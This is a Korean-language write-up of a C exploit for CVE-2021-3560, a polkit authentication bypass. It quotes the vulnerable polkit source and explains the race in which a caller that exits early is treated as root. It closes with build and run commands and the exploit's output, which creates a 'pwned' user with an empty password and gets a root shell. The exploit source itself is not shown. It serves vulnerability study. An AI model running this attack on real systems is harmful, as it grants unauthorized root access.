
CVE-2021-3560에 대한 신뢰할 수 있는 C 기반 익스플로잇 및 라이트업.
CVE-2021-3560을 위한 신뢰할 수 있는 C 기반 익스플로잇.
어제 나는 Kevin Backhouse(이 취약점을 발견한 사람)의 이 블로그 게시물을 우연히 발견했습니다. 블로그 게시물에 제공된 bash 명령을 시도했고 놀랍게도 내 Kali Linux 시스템에서 작동했습니다!
CVE-2021-3560은 polkit의 인증 우회로, 권한이 없는 사용자가 DBus를 사용하여 권한 있는 메서드를 호출할 수 있게 합니다. PoC는 이 버그를 악용하여 accountsservice가 제공하는 2개의 권한 있는 메서드(CreateUser 및 SetPassword)를 호출하며, 이를 통해 권한 있는 사용자를 생성한 다음 비밀번호를 설정할 수 있습니다.
polkit은 호출자가 그러한 메서드를 호출할 권한이 있는지 확인합니다. 먼저 호출자의 사용자 ID를 확인하여, 0이면 호출자가 root로 간주되어 인증을 요구하지 않고 작업이 허용되며, 그렇지 않으면 사용자의 비밀번호를 요구합니다.
polkit_system_bus_name_get_creds_sync() 함수는 호출자의 UID와 PID를 얻기 위해 2개의 메서드 GetConnectionUnixUser와 GetConnectionUnixProcessID를 호출합니다. 이 호출의 결과는 콜백 함수 on_retrieved_unix_uid_pid()에 의해 AsyncGetBusNameCredsData 유형의 data 구조체(이 구조체는 0으로 초기화됩니다)에 기록되며, polkit_system_bus_name_get_creds_sync()는 콜백 함수가 오류 또는 UID 및 PID를 설정할 때까지 차단됩니다.
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,
guint32 *out_uid,
guint32 *out_pid,
GCancellable *cancellable,
GError **error)
{
gboolean ret = FALSE;
AsyncGetBusNameCredsData data = { 0, }; // intialize to 0
GDBusConnection *connection = NULL;
GMainContext *tmp_context = NULL;
connection = g_bus_get_sync (G_BUS_TYPE_SYSTEM, cancellable, error);
if (connection == NULL)
goto out;
data.error = error;
tmp_context = g_main_context_new ();
g_main_context_push_thread_default (tmp_context);
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixUser", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, // callback funtion
&data); // data is passed to the callback function along with the reply from the method
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixProcessID", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, // callback funtion
&data); // data is passed to the callback function along with the reply from the method
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // block while on_retrieved_unix_uid_pid() is not called yet
g_main_context_iteration (tmp_context, TRUE);
콜백 함수 on_retrieved_unix_uid_pid()는 각 메서드 호출 후 응답(UID 및 PID)을 가져오거나 오류를 설정하기 위해 호출됩니다. 이 함수는 g_dbus_connection_call_finish()를 호출하여 응답을 가져오며, 오류가 발생한 경우 data.caught_error를 TRUE로 설정하고 반환합니다(data.uid와 data.pid는 여전히 0으로 설정되어 있습니다). 그렇지 않으면 가져온 값(UID 또는 PID)을 data.uid 또는 data.pid(가져온 값에 따라 다름)에 할당한 후 반환합니다.
static void
on_retrieved_unix_uid_pid (GObject *src, // connection
GAsyncResult *res, // Async result object
gpointer user_data) // data paramter passed from previous function
{
AsyncGetBusNameCredsData *data = user_data;
GVariant *v;
v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
data->caught_error ? NULL : data->error); // finish and get the reply
if (!v) // error ??
{
data->caught_error = TRUE;
}
else
{
guint32 value;
g_variant_get (v, "(u)", &value); // unpack the reply, get UINT32 (u)
g_variant_unref (v);
if (!data->retrieved_uid) // GetConnectionUnixUser method
{
data->retrieved_uid = TRUE;
data->uid = value;
}
else
{
g_assert (!data->retrieved_pid); // GetConnectionUnixProcessID method
data->retrieved_pid = TRUE;
data->pid = value;
}
}
}
GetConnectionUnixUser 및 GetConnectionUnixProcessID 메서드는 발견되면 UID와 PID를 반환하고(호출자 프로세스가 여전히 버스에 연결된 경우), 오류가 발생하면(예: 호출자 프로세스가 종료된 경우) 오류를 반환합니다.
data.uid와 data.pid가 설정되거나 data.caught_error가 설정되면 polkit_system_bus_name_get_creds_sync() 함수는 계속 실행되며 여기에 취약점이 존재합니다. polkit_system_bus_name_get_creds_sync()는 data.caught_error가 설정된 경우 오류를 반환하지 않고, 대신 data.uid에 있는 값을 out_uid에 설정하고 TRUE를 반환합니다(data.caught_error가 설정된 경우에도). out_pid는 polkit_system_bus_name_get_user_sync()가 호출할 때 polkit_system_bus_name_get_creds_sync()에 전달되는 guint32 변수에 대한 포인터입니다:
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,
guint32 *out_uid, // pointer
guint32 *out_pid, // NULL
GCancellable *cancellable,
GError **error)
{
[snip]
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // wait for the callback function to handle reply
g_main_context_iteration (tmp_context, TRUE);
if (out_uid) // TRUE
*out_uid = data.uid; // set it even if there is an error [!]
if (out_pid) // FALSE
*out_pid = data.pid; // set it even if there is an error [!]
ret = TRUE; // return TRUE even if there is an error [!]
out:
if (tmp_context)
{
g_main_context_pop_thread_default (tmp_context);
g_main_context_unref (tmp_context);
}
if (connection != NULL)
g_object_unref (connection);
return ret;
악용:
프로세스 A가 DBus를 사용하여 권한 있는 메서드를 호출하면 polkit은 호출자의 UID를 확인합니다. 프로세스 A가 메시지를 보낸 직후 종료되면 GetConnectionUnixUser 및 GetConnectionUnixProcessID 메서드는 호출자 프로세스가 더 이상 존재하지 않기 때문에 오류를 반환합니다. 콜백 함수 on_retrieved_unix_uid_pid()는 data.caught_error를 TRUE로 설정하고 data.uid와 data.pid는 변경되지 않은 상태로 유지됩니다(즉, data 구조체가 0으로 초기화되었으므로 둘 다 0으로 설정됩니다). polkit_system_bus_name_get_creds_sync() 함수는 실행을 계속하고 out_uid를 data.uid(0)로 설정한 다음 TRUE를 반환합니다.
여러 함수가 가짜 UID(0)를 계속 반환하다가, polkit_backend_session_monitor_get_user_for_subject()가 가짜 UID로 빌드된 user_of_subject를 check_authorization_sync() 함수에 반환합니다. check_authorization_sync()는 identity_is_root_user(user_of_subject)를 호출하여 UID가 root인지 확인하며, 이 호출이 TRUE를 반환하면 프로세스 A는 승인됩니다.
static PolkitAuthorizationResult *
check_authorization_sync (PolkitBackendAuthority *authority,
PolkitSubject *caller,
PolkitSubject *subject,
const gchar *action_id,
PolkitDetails *details,
PolkitCheckAuthorizationFlags flags,
PolkitImplicitAuthorization *out_implicit_authorization,
gboolean checking_imply,
GError **error)
{
[snip]
user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
subject, NULL,
error);
if (user_of_subject == NULL) // false
goto out;
/* special case: uid 0, root, is _always_ authorized for anything */
if (identity_is_root_user (user_of_subject)) // true
{
result = polkit_authorization_result_new (TRUE, FALSE, NULL); // authorize the caller
goto out;
}
[snip]
DBus C API를 사용하여 PoC를 작성하기로 결정했습니다. 메시지가 대상 서비스로 전송되는 동안 sleep()을 사용하는 대신, DBus 함수는 timeout 매개변수를 제공하므로 이 매개변수를 (남용)하여 메시지를 보낸 직후 함수가 반환되도록 강제한 다음 프로세스를 종료할 수 있습니다. 이를 통해 polkit의 취약점을 악용하고 인증을 우회할 수 있습니다. 기술적 세부 사항은 이 블로그 게시물을 참조하십시오.
user@host: gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
user@host: ./exploit
user@host:~/CVE-2021-3560-testing$ gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
user@host:~/CVE-2021-3560-testing$ ./exploit
[*] creating "pwned-1624301069" user ...
[!] user has been created!
[*] user: pwned-1624301069, uid: 1007
[*] setting an empty password for "pwned-1624301069" user..
[*] an empty password has been set for "pwned-1624301069" user!
[!] run: "sudo su root" as "pwned-1624301069" user to get root
┌──(pwned-1624301069㉿host)-[/home/user/CVE-2021-3560-testing]
└─$ sudo su root
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
root@host:/home/user/CVE-2021-3560-testing# id
uid=0(root) gid=0(root) groups=0(root)